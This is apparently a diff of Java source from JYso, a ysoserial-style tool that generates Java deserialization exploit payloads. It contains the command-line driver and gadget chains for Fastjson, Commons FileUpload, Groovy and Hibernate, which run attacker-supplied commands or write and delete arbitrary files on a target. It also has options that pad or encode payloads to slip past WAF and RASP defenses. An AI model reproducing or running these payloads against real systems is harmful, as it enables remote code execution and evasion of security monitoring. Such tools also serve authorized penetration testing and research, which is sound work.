Config.IS_INHERIT_ABSTRACT_TRANSLET = true; Config.IS_INHERIT_ABSTRACT_TRANSLET = true;
} }
if (cmdLine.hasOption("obscure")) { if (cmdLine.hasOption("obscure")) {
Config.IS_OBSCURE = true; Config.IS_OBSCURE = true;
} }
if (cmdLine.hasOption("define-class-from-parameter")) { if (cmdLine.hasOption("define-class-from-parameter")) {
Config.PARAMETER = cmdLine.getOptionValue("define-class-from-parameter"); Config.PARAMETER = cmdLine.getOptionValue("define-class-from-parameter");
} }
if (cmdLine.hasOption("file")) { if (cmdLine.hasOption("file")) {
Config.WRITE_FILE = true; Config.WRITE_FILE = true;
Config.FILE = cmdLine.getOptionValue("file"); Config.FILE = cmdLine.getOptionValue("file");
} }
if (cmdLine.hasOption("base64")) { if (cmdLine.hasOption("base64")) {
Config.BASE64 = true; Config.BASE64 = true;
} }
if (cmdLine.hasOption("no-com-sun")) { if (cmdLine.hasOption("no-com-sun")) {
Config.FORCE_USING_ORG_APACHE_TEMPLATESIMPL = true; Config.FORCE_USING_ORG_APACHE_TEMPLATESIMPL = true;
} }
if (cmdLine.hasOption("mozilla-class-loader")) { if (cmdLine.hasOption("mozilla-class-loader")) {
Config.USING_MOZILLA_DEFININGCLASSLOADER = true; Config.USING_MOZILLA_DEFININGCLASSLOADER = true;
} }
if (cmdLine.hasOption("rhino")) { if (cmdLine.hasOption("rhino")) {
Config.USING_RHINO = true; Config.USING_RHINO = true;
} }
if (cmdLine.hasOption("utf8-Overlong-Encoding")) { if (cmdLine.hasOption("utf8-Overlong-Encoding")) {
Config.IS_UTF_Bypass = true; Config.IS_UTF_Bypass = true;
} }
final String payloadType = cmdLine.getOptionValue("gadget"); final String payloadType = cmdLine.getOptionValue("gadget");
final String command = cmdLine.getOptionValue("parameters"); final String command = cmdLine.getOptionValue("parameters");
//载入gadget //载入gadget
final Class<? extends ObjectPayload<?>> payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType); final Class<? extends ObjectPayload<?>> payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType);
if (payloadClass == null) { if (payloadClass == null) {
System.err.println("Invalid payload type '" + payloadType + "'"); System.err.println("Invalid payload type '" + payloadType + "'");
printUsage(options); printUsage(options);
System.exit(1); System.exit(1);
return; return;
} }
try { try {
//载入payload //载入payload
ObjectPayload<?> payload = payloadClass.newInstance(); ObjectPayload<?> payload = payloadClass.newInstance();
Object object = payload.getObject(command); Object object = payload.getObject(command);
// 是否指定混淆 // 是否指定混淆
if (cmdLine.hasOption("dirty-type") && cmdLine.hasOption("dirty-length")) { if (cmdLine.hasOption("dirty-type") && cmdLine.hasOption("dirty-length")) {
int type = Integer.parseInt(cmdLine.getOptionValue("dirty-type")); int type = Integer.parseInt(cmdLine.getOptionValue("dirty-type"));
int length = Integer.parseInt(cmdLine.getOptionValue("dirty-length")); int length = Integer.parseInt(cmdLine.getOptionValue("dirty-length"));
object = new DirtyDataWrapper(object, type, length).doWrap(); object = new DirtyDataWrapper(object, type, length).doWrap();
} }
// 储存生成的 payload // 储存生成的 payload
PAYLOAD = object; PAYLOAD = object;
if (isFromExploit()) { if (isFromExploit()) {
return; return;
} }
OutputStream out; OutputStream out;
if (Config.WRITE_FILE) { if (Config.WRITE_FILE) {
out = Files.newOutputStream(Paths.get(Config.FILE)); out = Files.newOutputStream(Paths.get(Config.FILE));
} else if(Config.BASE64) { } else if(Config.BASE64) {
out = new ByteArrayOutputStream(); out = new ByteArrayOutputStream();
} else { } else {
out = System.out; out = System.out;
} }
Serializer.qi_serialize(object, out); Serializer.qi_serialize(object, out);
ObjectPayload.Utils.releasePayload(payload, object); ObjectPayload.Utils.releasePayload(payload, object);
out.flush(); out.flush();
out.close(); out.close();
} catch (Throwable e) { } catch (Throwable e) {
System.err.println("Error while generating or serializing payload"); System.err.println("Error while generating or serializing payload");
log.error(String.valueOf(e)); log.error(String.valueOf(e));
System.exit(1); System.exit(1);
} }
System.exit(0); System.exit(0);
} }
public static Options getOptions() { public static Options getOptions() {
Options options = new Options(); Options options = new Options();
options.addOption("y", "ysoserial", false, "Java deserialization"); options.addOption("y", "ysoserial", false, "Java deserialization");
options.addOption("g", "gadget", true, "Java deserialization gadget"); options.addOption("g", "gadget", true, "Java deserialization gadget");
options.addOption("p", "parameters", true, "Gadget parameters"); options.addOption("p", "parameters", true, "Gadget parameters");
options.addOption("dt", "dirty-type", true, "Using dirty data to bypass WAF,type: 1:Random Hashable Collections/2:LinkedList Nesting/3:TC_RESET in Serialized Data"); options.addOption("dt", "dirty-type", true, "Using dirty data to bypass WAF,type: 1:Random Hashable Collections/2:LinkedList Nesting/3:TC_RESET in Serialized Data");
options.addOption("dl", "dirty-length", true, "Length of dirty data when using type 1 or 3/Counts of Nesting loops when using type 2"); options.addOption("dl", "dirty-length", true, "Length of dirty data when using type 1 or 3/Counts of Nesting loops when using type 2");
options.addOption("f", "file", true, "Write Output into FileOutputStream (Specified FileName)"); options.addOption("f", "file", true, "Write Output into FileOutputStream (Specified FileName)");
options.addOption("o", "obscure", false, "Using reflection to bypass RASP"); options.addOption("o", "obscure", false, "Using reflection to bypass RASP");
options.addOption("i", "inherit", false, "Make payload inherit AbstractTranslet or not (Lower JDK like 1.6 should inherit)"); options.addOption("i", "inherit", false, "Make payload inherit AbstractTranslet or not (Lower JDK like 1.6 should inherit)");
options.addOption("rh", "rhino", false, "ScriptEngineManager Using Rhino Engine to eval JS"); options.addOption("rh", "rhino", false, "ScriptEngineManager Using Rhino Engine to eval JS");
options.addOption("ncs", "no-com-sun", false, "Force Using org.apache.XXX.TemplatesImpl instead of com.sun.org.apache.XXX.TemplatesImpl"); options.addOption("ncs", "no-com-sun", false, "Force Using org.apache.XXX.TemplatesImpl instead of com.sun.org.apache.XXX.TemplatesImpl");
options.addOption("mcl", "mozilla-class-loader", false, "Using org.mozilla.javascript.DefiningClassLoader in TransformerUtil"); options.addOption("mcl", "mozilla-class-loader", false, "Using org.mozilla.javascript.DefiningClassLoader in TransformerUtil");
options.addOption("dcfp", "define-class-from-parameter", true, "Customize parameter name when using DefineClassFromParameter"); options.addOption("dcfp", "define-class-from-parameter", true, "Customize parameter name when using DefineClassFromParameter");
options.addOption("utf", "utf8-Overlong-Encoding", false, "UTF-8 Overlong Encoding Bypass waf"); options.addOption("utf", "utf8-Overlong-Encoding", false, "UTF-8 Overlong Encoding Bypass waf");
options.addOption("b64", "base64", false, "base64 encoding"); options.addOption("b64", "base64", false, "base64 encoding");
return options; return options;
} }
private static void printUsage(Options options) { private static void printUsage(Options options) {
logo(); logo();
System.err.println("[root]#~ Usage: java -jar JYso-[version].jar -y -g [payload] -p [command] [options]"); System.err.println("[root]#~ Usage: java -jar JYso-[version].jar -y -g [payload] -p [command] [options]");
System.err.println("[root]#~ Available payload types:"); System.err.println("[root]#~ Available payload types:");
final List<Class<? extends ObjectPayload<?>>> payloadClasses = final List<Class<? extends ObjectPayload<?>>> payloadClasses =
new ArrayList<>(ObjectPayload.Utils.getPayloadClasses()); new ArrayList<>(ObjectPayload.Utils.getPayloadClasses());
payloadClasses.sort(new StringUtil.ToStringComparator()); // alphabetize payloadClasses.sort(new StringUtil.ToStringComparator()); // alphabetize
final List<String[]> rows = new LinkedList<>(); final List<String[]> rows = new LinkedList<>();
rows.add(new String[]{"Payload", "Authors", "Dependencies"}); rows.add(new String[]{"Payload", "Authors", "Dependencies"});
rows.add(new String[]{"-------", "-------", "------------"}); rows.add(new String[]{"-------", "-------", "------------"});
for (Class<? extends ObjectPayload<?>> payloadClass : payloadClasses) { for (Class<? extends ObjectPayload<?>> payloadClass : payloadClasses) {
rows.add(new String[]{ rows.add(new String[]{
payloadClass.getSimpleName(), payloadClass.getSimpleName(),
StringUtil.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""), StringUtil.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""),
StringUtil.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)), ", ", "", "") StringUtil.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)), ", ", "", "")
}); });
} }
final List<String> lines = StringUtil.formatTable(rows); final List<String> lines = StringUtil.formatTable(rows);
for (String line : lines) { for (String line : lines) {
System.err.println(" " + line); System.err.println(" " + line);
} }
System.err.println("\r\n"); System.err.println("\r\n");
HelpFormatter helpFormatter = new HelpFormatter(); HelpFormatter helpFormatter = new HelpFormatter();
helpFormatter.setWidth(Math.min(200, jline.Terminal.getTerminal().getTerminalWidth())); helpFormatter.setWidth(Math.min(200, jline.Terminal.getTerminal().getTerminalWidth()));
helpFormatter.printHelp("JYso-[version].jar", options, true); helpFormatter.printHelp("JYso-[version].jar", options, true);
System.err.println("\r\n"); System.err.println("\r\n");
System.err.println("Recommended Usage: -y -g [payload] -p '[command]' -dt 1 -dl 50000 -o -i -f evil.ser"); System.err.println("Recommended Usage: -y -g [payload] -p '[command]' -dt 1 -dl 50000 -o -i -f evil.ser");
System.err.println("If you want your payload being extremely short,you could just use:"); System.err.println("If you want your payload being extremely short,you could just use:");
System.err.println("java -jar JYso-[version].jar -y -g [payload] -p '[command]' -i -f evil.ser"); System.err.println("java -jar JYso-[version].jar -y -g [payload] -p '[command]' -i -f evil.ser");
System.exit(0); System.exit(0);
} }
} }
@@ -1,45 +1,45 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import com.alibaba.fastjson.JSONArray; import com.alibaba.fastjson.JSONArray;
import com.qi4l.JYso.gadgets.utils.Gadgets; import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool; import javassist.ClassPool;
import javassist.CtClass; import javassist.CtClass;
import javassist.CtConstructor; import javassist.CtConstructor;
import javax.management.BadAttributeValueExpException; import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.util.HashMap; import java.util.HashMap;
@SuppressWarnings({"rawtypes", "unchecked","unused"}) @SuppressWarnings({"rawtypes", "unchecked","unused"})
public class Fastjson1 implements ObjectPayload<Object> { public class Fastjson1 implements ObjectPayload<Object> {
@Override @Override
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
ClassPool pool = ClassPool.getDefault(); ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a"); CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName()); CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass); clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");"); constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");");
clazz.addConstructor(constructor); clazz.addConstructor(constructor);
Object templates = Gadgets.createTemplatesImpl(command); Object templates = Gadgets.createTemplatesImpl(command);
return getFastjsonSink(templates); return getFastjsonSink(templates);
} }
static Object getFastjsonSink(Object templates) throws Exception { static Object getFastjsonSink(Object templates) throws Exception {
JSONArray jsonArray = new JSONArray(); JSONArray jsonArray = new JSONArray();
jsonArray.add(templates); jsonArray.add(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null); BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val"); Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true); valfield.setAccessible(true);
valfield.set(val, jsonArray); valfield.set(val, jsonArray);
HashMap hashMap = new HashMap(); HashMap hashMap = new HashMap();
hashMap.put(templates, val); hashMap.put(templates, val);
return hashMap; return hashMap;
} }
} }
@@ -1,70 +1,70 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections; import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.codec.binary.Base64; import org.apache.commons.codec.binary.Base64;
import org.apache.commons.fileupload.disk.DiskFileItem; import org.apache.commons.fileupload.disk.DiskFileItem;
import org.apache.commons.io.output.DeferredFileOutputStream; import org.apache.commons.io.output.DeferredFileOutputStream;
import org.apache.commons.io.output.ThresholdingOutputStream; import org.apache.commons.io.output.ThresholdingOutputStream;
import java.io.File; import java.io.File;
import java.io.OutputStream; import java.io.OutputStream;
import java.nio.charset.StandardCharsets; import java.nio.charset.StandardCharsets;
import java.util.Arrays; import java.util.Arrays;
@SuppressWarnings({"unused"}) @SuppressWarnings({"unused"})
public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem> { public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem> {
private static DiskFileItem copyAndDelete(String copyAndDelete, String copyTo) throws Exception { private static DiskFileItem copyAndDelete(String copyAndDelete, String copyTo) throws Exception {
return makePayload(0, copyTo, copyAndDelete, new byte[1]); return makePayload(0, copyTo, copyAndDelete, new byte[1]);
} }
// writes data to a random filename (update_<per JVM random UUID>_<COUNTER>.tmp) // writes data to a random filename (update_<per JVM random UUID>_<COUNTER>.tmp)
private static DiskFileItem write(String dir, byte[] data) throws Exception { private static DiskFileItem write(String dir, byte[] data) throws Exception {
return makePayload(data.length + 1, dir, dir + "/whatever", data); return makePayload(data.length + 1, dir, dir + "/whatever", data);
} }
// writes data to an arbitrary file // writes data to an arbitrary file
private static DiskFileItem writePre131(String file, byte[] data) throws Exception { private static DiskFileItem writePre131(String file, byte[] data) throws Exception {
return makePayload(data.length + 1, file + "\0", file, data); return makePayload(data.length + 1, file + "\0", file, data);
} }
public static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws Exception { public static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws Exception {
// if thresh < written length, delete outputFile after copying to repository temp file // if thresh < written length, delete outputFile after copying to repository temp file
// otherwise write the contents to repository temp file // otherwise write the contents to repository temp file
File repository = new File(repoPath); File repository = new File(repoPath);
DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository); DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository);
File outputFile = new File(filePath); File outputFile = new File(filePath);
DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile); DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);
OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream"); OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream");
os.write(data); os.write(data);
Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length); Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length);
Reflections.setFieldValue(diskFileItem, "dfos", dfos); Reflections.setFieldValue(diskFileItem, "dfos", dfos);
Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0); Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);
return diskFileItem; return diskFileItem;
} }
@Override @Override
public DiskFileItem getObject(String command) throws Exception { public DiskFileItem getObject(String command) throws Exception {
String[] parts = command.split(";"); String[] parts = command.split(";");
if (parts.length == 3 && "copyAndDelete".equals(parts[0])) { if (parts.length == 3 && "copyAndDelete".equals(parts[0])) {
return copyAndDelete(parts[1], parts[2]); return copyAndDelete(parts[1], parts[2]);
} else if (parts.length == 3 && "write".equals(parts[0])) { } else if (parts.length == 3 && "write".equals(parts[0])) {
return write(parts[1], parts[2].getBytes(StandardCharsets.US_ASCII)); return write(parts[1], parts[2].getBytes(StandardCharsets.US_ASCII));
} else if (parts.length == 3 && "writeB64".equals(parts[0])) { } else if (parts.length == 3 && "writeB64".equals(parts[0])) {
return write(parts[1], Base64.decodeBase64(parts[2])); return write(parts[1], Base64.decodeBase64(parts[2]));
} else if (parts.length == 3 && "writeOld".equals(parts[0])) { } else if (parts.length == 3 && "writeOld".equals(parts[0])) {
return writePre131(parts[1], parts[2].getBytes(StandardCharsets.US_ASCII)); return writePre131(parts[1], parts[2].getBytes(StandardCharsets.US_ASCII));
} else if (parts.length == 3 && "writeOldB64".equals(parts[0])) { } else if (parts.length == 3 && "writeOldB64".equals(parts[0])) {
return writePre131(parts[1], Base64.decodeBase64(parts[2])); return writePre131(parts[1], Base64.decodeBase64(parts[2]));
} else { } else {
throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts)); throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts));
} }
} }
public void release(Object obj) throws Exception { public void release(Object obj) throws Exception {
// otherwise the finalizer deletes the file // otherwise the finalizer deletes the file
DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null); DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null);
Reflections.setFieldValue(obj, "dfos", dfos); Reflections.setFieldValue(obj, "dfos", dfos);
} }
} }
@@ -1,26 +1,26 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets; import com.qi4l.JYso.gadgets.utils.Gadgets;
import org.codehaus.groovy.runtime.ConvertedClosure; import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure; import org.codehaus.groovy.runtime.MethodClosure;
import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationHandler;
import java.util.Map; import java.util.Map;
import static com.qi4l.JYso.gadgets.utils.Utils.createProxy; import static com.qi4l.JYso.gadgets.utils.Utils.createProxy;
@SuppressWarnings({"rawtypes", "unchecked","unused"}) @SuppressWarnings({"rawtypes", "unchecked","unused"})
@Dependencies({"org.codehaus.groovy:groovy:2.3.9"}) @Dependencies({"org.codehaus.groovy:groovy:2.3.9"})
@Authors({Authors.FROHOFF}) @Authors({Authors.FROHOFF})
public class Groovy1 implements ObjectPayload<InvocationHandler> { public class Groovy1 implements ObjectPayload<InvocationHandler> {
public InvocationHandler getObject(final String command) throws Exception { public InvocationHandler getObject(final String command) throws Exception {
final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet"); final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet");
final Map map = createProxy(closure, Map.class); final Map map = createProxy(closure, Map.class);
return Gadgets.createMemoizedInvocationHandler(map); return Gadgets.createMemoizedInvocationHandler(map);
} }
} }
@@ -1,175 +1,175 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.utils.DynamicDependencies; import com.qi4l.JYso.gadgets.utils.DynamicDependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets; import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.JavaVersion; import com.qi4l.JYso.gadgets.utils.JavaVersion;
import com.qi4l.JYso.gadgets.utils.Reflections; import com.qi4l.JYso.gadgets.utils.Reflections;
import org.hibernate.EntityMode; import org.hibernate.EntityMode;
import org.hibernate.engine.spi.TypedValue; import org.hibernate.engine.spi.TypedValue;
import org.hibernate.tuple.component.AbstractComponentTuplizer; import org.hibernate.tuple.component.AbstractComponentTuplizer;
import org.hibernate.tuple.component.PojoComponentTuplizer; import org.hibernate.tuple.component.PojoComponentTuplizer;
import org.hibernate.type.AbstractType; import org.hibernate.type.AbstractType;
import org.hibernate.type.ComponentType; import org.hibernate.type.ComponentType;
import org.hibernate.type.Type; import org.hibernate.type.Type;
import java.lang.reflect.Array; import java.lang.reflect.Array;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.HashMap; import java.util.HashMap;
import java.util.Map; import java.util.Map;
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap; import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
/** /**
* org.hibernate.property.access.spi.GetterMethodImpl.get() * org.hibernate.property.access.spi.GetterMethodImpl.get()
* org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue() * org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
* org.hibernate.type.ComponentType.getPropertyValue(C) * org.hibernate.type.ComponentType.getPropertyValue(C)
* org.hibernate.type.ComponentType.getHashCode() * org.hibernate.type.ComponentType.getHashCode()
* org.hibernate.engine.spi.TypedValue$1.initialize() * org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.engine.spi.TypedValue$1.initialize() * org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.internal.util.ValueHolder.getValue() * org.hibernate.internal.util.ValueHolder.getValue()
* org.hibernate.engine.spi.TypedValue.hashCode() * org.hibernate.engine.spi.TypedValue.hashCode()
* <p> * <p>
* Requires: * Requires:
* - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only) * - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only)
* *
* @author mbechler * @author mbechler
*/ */
@SuppressWarnings({"rawtypes", "unchecked","unused"}) @SuppressWarnings({"rawtypes", "unchecked","unused"})
@Authors({Authors.MBECHLER}) @Authors({Authors.MBECHLER})
public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies { public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {
public static boolean isApplicableJavaVersion() { public static boolean isApplicableJavaVersion() {
return JavaVersion.isAtLeast(7); return JavaVersion.isAtLeast(7);
} }
public static String[] getDependencies() { public static String[] getDependencies() {
if (System.getProperty("hibernate5") != null) { if (System.getProperty("hibernate5") != null) {
return new String[]{ return new String[]{
"org.hibernate:hibernate-core:5.0.7.Final", "aopalliance:aopalliance:1.0", "org.jboss.logging:jboss-logging:3.3.0.Final", "org.hibernate:hibernate-core:5.0.7.Final", "aopalliance:aopalliance:1.0", "org.jboss.logging:jboss-logging:3.3.0.Final",
"javax.transaction:javax.transaction-api:1.2" "javax.transaction:javax.transaction-api:1.2"
}; };
} }
return new String[]{ return new String[]{
"org.hibernate:hibernate-core:4.3.11.Final", "aopalliance:aopalliance:1.0", "org.jboss.logging:jboss-logging:3.3.0.Final", "org.hibernate:hibernate-core:4.3.11.Final", "aopalliance:aopalliance:1.0", "org.jboss.logging:jboss-logging:3.3.0.Final",
"javax.transaction:javax.transaction-api:1.2", "dom4j:dom4j:1.6.1" "javax.transaction:javax.transaction-api:1.2", "dom4j:dom4j:1.6.1"
}; };
} }
public static Object makeGetter(Class<?> tplClass, String method) throws NoSuchMethodException, SecurityException, InstantiationException, public static Object makeGetter(Class<?> tplClass, String method) throws NoSuchMethodException, SecurityException, InstantiationException,
IllegalAccessException, IllegalArgumentException, InvocationTargetException, ClassNotFoundException { IllegalAccessException, IllegalArgumentException, InvocationTargetException, ClassNotFoundException {
if (System.getProperty("hibernate5") != null) { if (System.getProperty("hibernate5") != null) {
return makeHibernate5Getter(tplClass, method); return makeHibernate5Getter(tplClass, method);
} }
return makeHibernate4Getter(tplClass, method); return makeHibernate4Getter(tplClass, method);
} }
public static Object makeHibernate4Getter(Class<?> tplClass, String method) throws ClassNotFoundException, NoSuchMethodException, public static Object makeHibernate4Getter(Class<?> tplClass, String method) throws ClassNotFoundException, NoSuchMethodException,
SecurityException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException { SecurityException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
Class<?> getterIf = Class.forName("org.hibernate.property.Getter"); Class<?> getterIf = Class.forName("org.hibernate.property.Getter");
Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter"); Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
Constructor<?> bgCon = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class); Constructor<?> bgCon = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
Reflections.setAccessible(bgCon); Reflections.setAccessible(bgCon);
if (!method.startsWith("get")) { if (!method.startsWith("get")) {
throw new IllegalArgumentException("Hibernate4 can only call getters"); throw new IllegalArgumentException("Hibernate4 can only call getters");
} }
String propName = Character.toLowerCase(method.charAt(3)) + method.substring(4); String propName = Character.toLowerCase(method.charAt(3)) + method.substring(4);
Object g = bgCon.newInstance(tplClass, tplClass.getDeclaredMethod(method), propName); Object g = bgCon.newInstance(tplClass, tplClass.getDeclaredMethod(method), propName);
Object arr = Array.newInstance(getterIf, 1); Object arr = Array.newInstance(getterIf, 1);
Array.set(arr, 0, g); Array.set(arr, 0, g);
return arr; return arr;
} }
public static Object makeHibernate5Getter(Class<?> tplClass, String method) throws NoSuchMethodException, SecurityException, public static Object makeHibernate5Getter(Class<?> tplClass, String method) throws NoSuchMethodException, SecurityException,
ClassNotFoundException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException { ClassNotFoundException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
Class<?> getterIf = Class.forName("org.hibernate.property.access.spi.Getter"); Class<?> getterIf = Class.forName("org.hibernate.property.access.spi.Getter");
Class<?> basicGetter = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl"); Class<?> basicGetter = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
Constructor<?> bgCon = basicGetter.getConstructor(Class.class, String.class, Method.class); Constructor<?> bgCon = basicGetter.getConstructor(Class.class, String.class, Method.class);
Object g = bgCon.newInstance(tplClass, "test", tplClass.getDeclaredMethod(method)); Object g = bgCon.newInstance(tplClass, "test", tplClass.getDeclaredMethod(method));
Object arr = Array.newInstance(getterIf, 1); Object arr = Array.newInstance(getterIf, 1);
Array.set(arr, 0, g); Array.set(arr, 0, g);
return arr; return arr;
} }
static Object makeCaller(Object tpl, Object getters) throws static Object makeCaller(Object tpl, Object getters) throws
Exception { Exception {
if (System.getProperty("hibernate3") != null) { if (System.getProperty("hibernate3") != null) {
return makeHibernate3Caller(tpl, getters); return makeHibernate3Caller(tpl, getters);
} }
return makeHibernate45Caller(tpl, getters); return makeHibernate45Caller(tpl, getters);
} }
static Object makeHibernate45Caller(Object tpl, Object getters) throws static Object makeHibernate45Caller(Object tpl, Object getters) throws
Exception { Exception {
PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class); PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters); Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);
ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]); ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
Reflections.setFieldValue(t, "componentTuplizer", tup); Reflections.setFieldValue(t, "componentTuplizer", tup);
Reflections.setFieldValue(t, "propertySpan", 1); Reflections.setFieldValue(t, "propertySpan", 1);
Reflections.setFieldValue(t, "propertyTypes", new Type[]{ Reflections.setFieldValue(t, "propertyTypes", new Type[]{
t t
}); });
TypedValue v1 = new TypedValue(t, null); TypedValue v1 = new TypedValue(t, null);
Reflections.setFieldValue(v1, "value", tpl); Reflections.setFieldValue(v1, "value", tpl);
Reflections.setFieldValue(v1, "type", t); Reflections.setFieldValue(v1, "type", t);
TypedValue v2 = new TypedValue(t, null); TypedValue v2 = new TypedValue(t, null);
Reflections.setFieldValue(v2, "value", tpl); Reflections.setFieldValue(v2, "value", tpl);
Reflections.setFieldValue(v2, "type", t); Reflections.setFieldValue(v2, "type", t);
return makeMap(v1, v2); return makeMap(v1, v2);
} }
static Object makeHibernate3Caller(Object tpl, Object getters) throws static Object makeHibernate3Caller(Object tpl, Object getters) throws
Exception { Exception {
// Load at runtime to avoid dependency conflicts // Load at runtime to avoid dependency conflicts
Class entityEntityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.entity.EntityEntityModeToTuplizerMapping"); Class entityEntityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.entity.EntityEntityModeToTuplizerMapping");
Class entityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.EntityModeToTuplizerMapping"); Class entityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.EntityModeToTuplizerMapping");
Class typedValueClass = Class.forName("org.hibernate.engine.TypedValue"); Class typedValueClass = Class.forName("org.hibernate.engine.TypedValue");
PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class); PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters); Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);
Reflections.getField(AbstractComponentTuplizer.class, "propertySpan").set(tup, 1); Reflections.getField(AbstractComponentTuplizer.class, "propertySpan").set(tup, 1);
ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]); ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
HashMap hm = new HashMap(); HashMap hm = new HashMap();
hm.put(EntityMode.POJO, tup); hm.put(EntityMode.POJO, tup);
Object emtm = Reflections.createWithConstructor(entityEntityModeToTuplizerMappingClass, entityModeToTuplizerMappingClass, new Class[]{Map.class}, new Object[]{hm}); Object emtm = Reflections.createWithConstructor(entityEntityModeToTuplizerMappingClass, entityModeToTuplizerMappingClass, new Class[]{Map.class}, new Object[]{hm});
